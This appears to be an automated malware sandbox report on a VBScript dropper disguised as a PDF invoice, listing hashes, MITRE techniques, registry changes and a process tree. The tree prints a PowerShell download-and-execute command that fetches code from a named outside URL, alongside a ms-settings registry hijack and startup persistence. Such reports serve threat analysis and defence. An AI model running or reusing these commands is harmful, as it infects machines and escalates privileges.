2a7f4adcf351e75c03b1a62df7d7528d19056bd963720f953f73f05a625ef068

Reason

Machine shutdown

General

Target

FACTURAgzneih0__Ikb_(295).PDF.vbs
Size

781B
MD5

498f2220d6962b5b49fc6c2750610a90
SHA1

06485ce9a6ba48a240c712497900a4240385ea02
SHA256

36c56e3a9202c35e76a3ed10d00650c821b6ee9e1b3834fbab5fa5047d1ee99c
SHA512

e7bd5952c327938e373811d3979c3a930d20782a9d8fc06f5f315da87f43ca02e3db86f65aaafebf63c86800df5733005f67db5a6dbf4546fd17ce4ed9649e42

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://dftssa.3utilities.com/03/17

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	3812	WScript.exe
7	400	powershell.exe
19	400	powershell.exe
21	400	powershell.exe
24	3812	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 5 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_pwbqye8_QAT.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_pwbqye8_QAA.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_pwbqye8_Qy.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_pwbqye8_Q.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_pwbqye8_QEX.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "167"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000_Classes\ms-settings\Shell\Open	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000_Classes\ms-settings\Shell\Open\command\ = "C:\\_pwbqye8_Q\\_pwbqye8_Qi7.exe"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000_Classes\ms-settings\Shell\Open\command	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000_Classes\ms-settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000_Classes\ms-settings\Shell	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
400	powershell.exe
400	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	400	powershell.exe
Token: SeShutdownPrivilege	4228	shutdown.exe
Token: SeRemoteShutdownPrivilege	4228	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4544	LogonUI.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3812 wrote to memory of 400	3812	WScript.exe	86
PID 3812 wrote to memory of 400	3812	WScript.exe	86
PID 400 wrote to memory of 4228	400	powershell.exe	93
PID 400 wrote to memory of 4228	400	powershell.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FACTURAgzneih0__Ikb_(295).PDF.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://dftssa.3utilities.com/03/17')"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\system32\shutdown.exe
    "C:\Windows\system32\shutdown.exe" /r /t 15
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4228

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39a9055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0idzed53.ku0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/400-9-0x00000212DD340000-0x00000212DD362000-memory.dmp

Filesize
136KB

Download
memory/400-10-0x00007FF99C210000-0x00007FF99CCD1000-memory.dmp

Filesize
10.8MB

Download
memory/400-11-0x00000212DD1E0000-0x00000212DD1F0000-memory.dmp

Filesize
64KB

Download
memory/400-12-0x00000212DD1E0000-0x00000212DD1F0000-memory.dmp

Filesize
64KB

Download
memory/400-13-0x00000212DD1E0000-0x00000212DD1F0000-memory.dmp

Filesize
64KB

Download
memory/400-14-0x00000212F7DB0000-0x00000212F7E26000-memory.dmp

Filesize
472KB

Download
memory/400-15-0x00000212F79C0000-0x00000212F79DE000-memory.dmp

Filesize
120KB

Download
memory/400-33-0x00000212F7E30000-0x00000212F7E42000-memory.dmp

Filesize
72KB

Download
memory/400-34-0x00000212F7D90000-0x00000212F7D9A000-memory.dmp

Filesize
40KB

Download
memory/400-65-0x00000212DD1E0000-0x00000212DD1F0000-memory.dmp

Filesize
64KB

Download
memory/400-71-0x00007FF99C210000-0x00007FF99CCD1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

Errors